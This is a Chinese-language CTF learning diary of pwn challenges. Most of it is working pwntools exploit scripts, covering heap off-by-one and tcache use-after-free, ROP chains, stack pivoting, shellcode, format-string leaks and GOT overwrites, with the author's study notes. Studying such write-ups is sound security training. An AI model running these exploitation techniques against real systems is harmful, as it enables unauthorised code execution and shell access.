学 pwn 日记-第二周

10.14 ~ 10.20

这是今年信息安全竞赛华南赛区半决赛的 pwn 题, wp 基本来自大佬

day1

pwn1

off by one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
p = process('./pwn')
elf = ELF("./pwn", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
def new(ind,size,content):
p.sendlineafter('4.show\n','1')
p.sendlineafter('index:\n',str(ind))
p.sendlineafter('size:\n',str(size))
p.sendafter('content:\n',content)
def free(ind):
p.sendlineafter('4.show\n','2')
p.sendafter('index:\n',str(ind))
def edit(ind,content):
p.sendlineafter('4.show\n','3')
p.sendlineafter('index:\n',str(ind))
p.sendafter('content:\n',content)
new(2,0xf8,"/bin/sh")
new(32,0xf8,"32")
new(31,0xf8,"31")
new(30,0xf8,"30")
pay = p64(0)+p64(0xf1)+p64(0x6021c8)+p64(0x6021c8+8)
pay = pay.ljust(0xf0)
pay += p64(0xf0)
edit(32,pay)
free(31)
pay = p64(0x6021c8)*3 + p64(elf.got['free'])
pay = pay.ljust(0xf0)
pay += p64(1)
edit(32,pay)
p.sendline("4")
p.recvuntil("index:")
p.send("32")
p.recvuntil('\n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['free']
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = 'a'*0x18 + p64(free_hook)
pay = pay.ljust(0xf0,'a')
pay += p64(1)
edit(30,pay)
edit(32,p64(system))
free(2)
p.interactive()

在这里记录一下貌似我看到的off by one都是使用 unlink 的方法,而且感觉总结出来一个算是心得的东西,就是有 PIE 的反而都是简单的,而不开的反而需要我们去认真分析每个堆的数据结构,通过了解这个来攻破

这里要详细记录一下,毕竟整出来了,23333

这里卡了一点,师傅直接用 free 整的 libc 偏移,今天我用个别的方法(看看行不行),还是感觉不是预期解,主要是没用到 leak

pwn4

buffer overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
context.log_level = "debug"
elf = ELF('./pwn')
p = remote("172.29.3.115","9999")
#p = process('./pwn')
libc = elf.libc
payload = 'a'*0x28
p.recv()
p.sendline(payload)
p.recvuntil('a'*0x28)
p.recv(8)
leak = u32(p.recv(4))
success(hex(leak))
libc_base = leak - 0x1b23dc
libc.address = libc_base
one = libc_base + 0x3ac69
print p.recv()
payload = 'a'*0x28 + 'bbbb' + p32(one)
p.sendline(payload)
p.interactive()

这个很简单,我一开始想构造 rop 链,结果一看师傅直接 one_gadegt 妙出,秒啊,直接泄漏 libc.address 还行,这个记录一下,实在太秒了

pwn8

逆向题???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
#io = process("./easy_pwn")
io = remote("172.29.3.119","9999")
elf = ELF("./easy_pwn")
context.log_level = "debug"
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
p += p64(59) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall

strings = ""
for i in p :
strings += chr(ord(i)^0x66)

pay = 'a'*0x50 + strings

io.recv()
io.sendline(pay)
io.interactive()

做这个的时候我只看到了栈溢出,然后觉得输入密码什么是个逆向题,后来发现直接 ropchain 直接完事.注意一下,在ROPgadget --binary pwn --ropchain

1
2
3
4
5
6
7
8
9
10
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret

它直接add rax, 1 ; ret,硬生生抬了 59 ,主要是 ropchain 是只用地址完成的 getshell ,所以还是甩 ROPgadget --binary easy_pwn --only "pop|ret" | grep rax比较简单,可以pop rax; ret后接一个 59 ,节省了 (59-2)*8 个字节

pwn3

rop 构造,思路感人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
aaa=asm(shellcraft.sh())
pop_rdi_ret=0x00000000004005a3
pop_rsi_r15=0x00000000004005a1
pop_r14_r15=0x00000000004005a0
mov_eax_exe_ret=0x00000000004004e3
pop_r12_r13_r14_r15=0x000000000040059c
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
#call r12+rbx*8

ret=0x004003a9
main = 0x4004ED
syscall_ret=0x0000000000400517
g = 0x4004da


pay = "a"*16+p64(main)
sd(pay)
#print p.recv()
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

msg("stack",stack)
stack=stack-0x118
msg("stack",stack)

pay = "/bin//sh\x00".ljust(0x10,"\x00")

pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2
pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)

pay+=p64(mov_eax_exe_ret)
pay+=p64(pop_rdi_ret)+p64(stack)
pay+=p64(pop_rsi_r15)+p64(0)*2
pay+=p64(syscall_ret)
sd(pay)
getshell()


if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("172.29.3.114",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()

这道题我想的也是直接去布置 rop ,但是不知道栈地址,还好还好,这个 write 和 read 函数都能避免 \x00 截断问题,我们能根据 write 带出来一个特定偏移的地址,之后就是常规的布置 rop 了

但是,这里学到了,我之前一直以为去 call QWORD PTR [r12+rbx*8] 之后的布置还需要在构造一下,因为我之前看到的都是把 rbx 步成 0 ,这个我没想到可以去直接用 rbx 去控制程序走向, orz

pwn6

UAF ( tcache )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(size,name,call):
ru("choice:")
sl("1")
ru("Please input the size of compary's name\n")
sl(str(size))
ru("please input name:\n")
sd(name)
ru("please input compary call:\n")
sd(call)

def free(idx):
ru("choice:")
sl("3")
ru("Please input the index:\n")
sl(str(idx))

def show(size):
ru("choice:")
sl("2")
ru("Please input the index:\n")
sl(str(size))


def exp1():
new(0x18,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
#
free(0)
for x in range(8):
free(1)
new(0x100,"c"*8,"d"*8)#3
show(3)
ru("c"*8)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"]
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
msg("libc.address",libc.address)
new(0x50,"a"*8,"b"*8)#4
new(0x50,"a"*8,"b"*8)
new(0x50,"a"*8,"b"*8)
free(4)
free(4)
new(0x50,p64(free_hook),"b"*8)
#piedebug(0)
new(0x50,"/bin/sh\x00","b"*8)
new(0x50,p64(system),"b"*8)
#piedebug(0)
free(7)
# ru("choice:")
# sl("3")
# print p.recv()
getshell()
pause()

if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.117",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp1()

这个比之前做的 tcache 简单一些,很简单的 UAF 。但是我分析这个堆的时候很迷,怎么 bss 段的跑到堆上了,是我忘了点啥吗,很奇怪。

pwn7

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
name ="admin"
new = ""
for i in range(len(name)):
new+=chr(ord(name[i])^i)

piedebug(0x0118A)
ru("please input your name\n")
sl(new)
ru("do you want to get something???\n")

sd("a"*0x19)
ru("a"*0x18)
canary = u64(p.recv(8))-0x61
stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
msg("canary",canary)
msg("stack",stack)
ru("OK???\n")
sd("b"*0x18+p64(canary))

ru("I think you can do something now\n")
pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16
#pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16
sd(pay)
#print p.recv()

ru("do you want to get something???\n")


sd("a"*0x21)
ru("OK???\n")
sd("b"*0x29)
ru("a"*8)
piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
msg("piebase",piebase)
printf_got=elf.got["printf"]+piebase
printf_plt=elf.plt["printf"]+piebase
read_got=elf.got["read"]+piebase
pop_rdi_ret=piebase+0x14a3
leave_ret=piebase+0x10dc
vul = piebase+0x10de
msg("printf_got",printf_got)
msg("printf_plt",printf_plt)
msg("read_got",read_got)

ru("I think you can do something now\n")
gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
sd(pay)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
system = libc.sym["system"]
msg("libc.address",libc.address)

ru("do you want to get something???\n")
#piedebug(0x11fe)
sd("a"*0x8)
ru("OK???\n")
sd("b"*0x8)
ru("I think you can do something now\n")
gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
sd(pay)
getshell()






if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.118",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
#取消aslr保护机制
#p = process(bin_elf, aslr=0)
#加入libc进行调试:
#p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"})

while True:
try:
p = process(bin_elf)
exp()
except:
p.close()

这道题我在调试的时候遇到问题很多,在线解决.不过把师傅思路整明白了,首先通过过 printf 把 canary 带出来,之后碰运气撞出来 sub_10DE ,之后再来一遍,把 pie 泄漏出来,最后泄漏一个 read 函数把 libc 整出来,最后起 shell ,我在几个具体构造还不太明白,赶紧整

lab6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import time
context.log_level = "debug"
r = process('./pwn')


read_plt = 0x8048380
puts_plt = 0x8048390
leave_ret = 0x08048418
pop_edx_ret = 0x0804836d
puts_got = 0x8049ff0
buf = 0x0804b000-0x200
buf2 = buf + 0x100
payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])
r.recvuntil(":")
r.send(payload)
time.sleep(0.1)

rop = flat([buf2,puts_plt,pop_edx_ret,puts_got,read_plt,leave_ret,0,buf2,100])

r.sendline(rop)
r.recvuntil("\n")
puts_off = 0x5fca0
libc = u32(r.recv(4)) - puts_off
print "libc:",hex(libc)
time.sleep(0.1)
system_off = 0x3ada0
system = libc + system_off
rop2 = flat([buf,system,0,buf2+4*4,"/bin/sh"])
r.sendline(rop2)
r.interactive()

堆栈迁移,上题引申出来的,发现自己完全忘记了,赶紧看了看,终于懂了,我发现我之前理解错了,或者说理解的很浅, tcl .这题关键是溢出字节太少了,需要去做一个迁移,所以就做了 2 个手脚来 read 输入.发现 32 位和 64 位比起来是真简单,和自己用 exp 写东西一样,2333,难度层面简直是弟弟

尴尬了,今天深入从汇编层面想了想,发现我真的理解错了,啊~~~ 简单说一下.第一次 payload 的

1
2
payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])

首先执行 read 函数,后边 3 个参数,之后顺序往下执行,又因为 ebp 一直指向 buf ,所以 ebp 去 buf 了, esp 指向哪呢??对,这就是我之前理解的,现在想想,我是把汇编层面的东西自己理解的有点偏差,应该是这样

首先的 buf 应该首先被 leave 出去,这样 ebp 就指向了 buf , esp 指向 read ,后边顺序执行,之后到了 leave 后我们的 esp 就理所应当的被迁移到了 buf 处,这才是正确的理解, orz

pwn9

小知识点,直接写 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
jmp = 0x08048554
shellcode ='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
xor eax,eax
inc eax
int 0x80
'''
shellcode =asm(shellcode)
shell="sub esp,0x28;call esp"
shell =asm(shell)
ru(">\n")
pay = shellcode.ljust(0x24,"\x00")
pay+= p32(jmp)
pay+=shell
#debug("b *0x8048554")
sl(pay)
getshell()





if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
#context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.120",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()

这个就是最简单的往栈里写东西了,连 nx 也关了,这是什么题~~ 不过我发现 wp 和我想得不太一样,师傅先去 jump esp ,然后利用 sub esp,0x28;call esp 起的 shell ,我感觉有点头皮发麻,突然发现我之前整的直接跳到 buf 处必须关 aslr ,学到了学到了~~~~ 下面简单说一下思路:

构造情况shellcode + jmp + shell ,到 jmp 的时候 esp 在 shell ,所以直接 esp 减 0x24+4 就好了,之后就是我们希望的执行了~~~

story

来自西湖论剑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p= process('story')
#p=remote('ctf2.linkedbyx.com',10895)
libc = ELF('./libc-2.23.so')
p.sendline("%15$p%25$p")
p.recvuntil("0x")

canary = int(p.recvuntil("0x")[:-2],16)
info("canary:0x%x",canary)
addr = int(p.recvuntil('\n')[:-1],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = (0x808-0x780)*'\x00'+p64(canary)+p64(0)+p64(one)+'\x00'*400
p.recvuntil('story')
p.sendline('200')
p.recvuntil('story')
p.sendline(pay)
p.interactive()

简单的格式化字符串洞,完全忘记了,简单记录一下怎么找的偏移

先暴力输入一堆%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.然后找偏移,如果有结尾 00 的可以注意一下,然后用 cyclic 加猜测的偏移确定,我是这样的,不知道师傅们怎么确定的,知道 canary 后用 gdb 就能确定 __libc_start_main+240 的偏移,这就简单了.之后填入 one_gadget 完事~~~ ,对,这里记录一下 one_gadget 的骚操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
☁  xihulunjian  one_gadget libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

这时摆出来的限制情况,我发现师傅 tql ,他根据输入精准控制栈的情况

noinfoleak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
r = process('./noinfoleak')
elf = ELF('noinfoleak', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#gdb.attach(r, gdbscript='b *0x00400AC7\nc\n')

def add(size, data):
r.sendlineafter('>', '1')
r.sendlineafter('>', str(size))
r.sendlineafter('>', data)
def delete(index):
r.sendlineafter('>', '2')
r.sendlineafter('>', str(index))
def edit(index, data):
r.sendlineafter('>', '3')
r.sendlineafter('>', str(index))
r.sendafter('>', data)

add(0x30, '/bin/sh')
add(0x20, 'AAA')
add(0x20, 'BBB')
delete(1)
delete(2)
delete(1)
arrAddr = 0x06010A0
freeGotAddr = elf.got['free']
putsPltAddr = elf.plt['puts']
putsGotAddr = elf.got['puts']
add(0x20, p64(arrAddr))
add(0x20, 'second')
add(0x20, 'first')

add(0x20, p64(freeGotAddr))
edit(1, p64(putsPltAddr))
# ptr = free_got => puts_plt

edit(6, p64(putsGotAddr))
delete(1)
# ptr = puts_got
LeakStr = r.recvuntil('\n', drop=True)
libcBaseAddr = u64(LeakStr.ljust(8, '\x00')) - libc.symbols['puts']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: 0x%x' % libcBaseAddr)
print('systemAdd address: 0x%x' % systemAddr)
# overwrite arrAddr[1] to free@got
edit(6, p64(freeGotAddr))
# overwrite free@got to system
edit(1, p64(systemAddr))
# system("/bin/sh")
delete(0)
r.interactive()

这个应该是最符合这题要求的最简洁的预期解了,就是简单的修改 got 表,不需要改 io_file 的结构什么的,看 dalao 的 wp 把我看蒙了,毕竟第一次接触到这种没有 leak 的题,发现还可以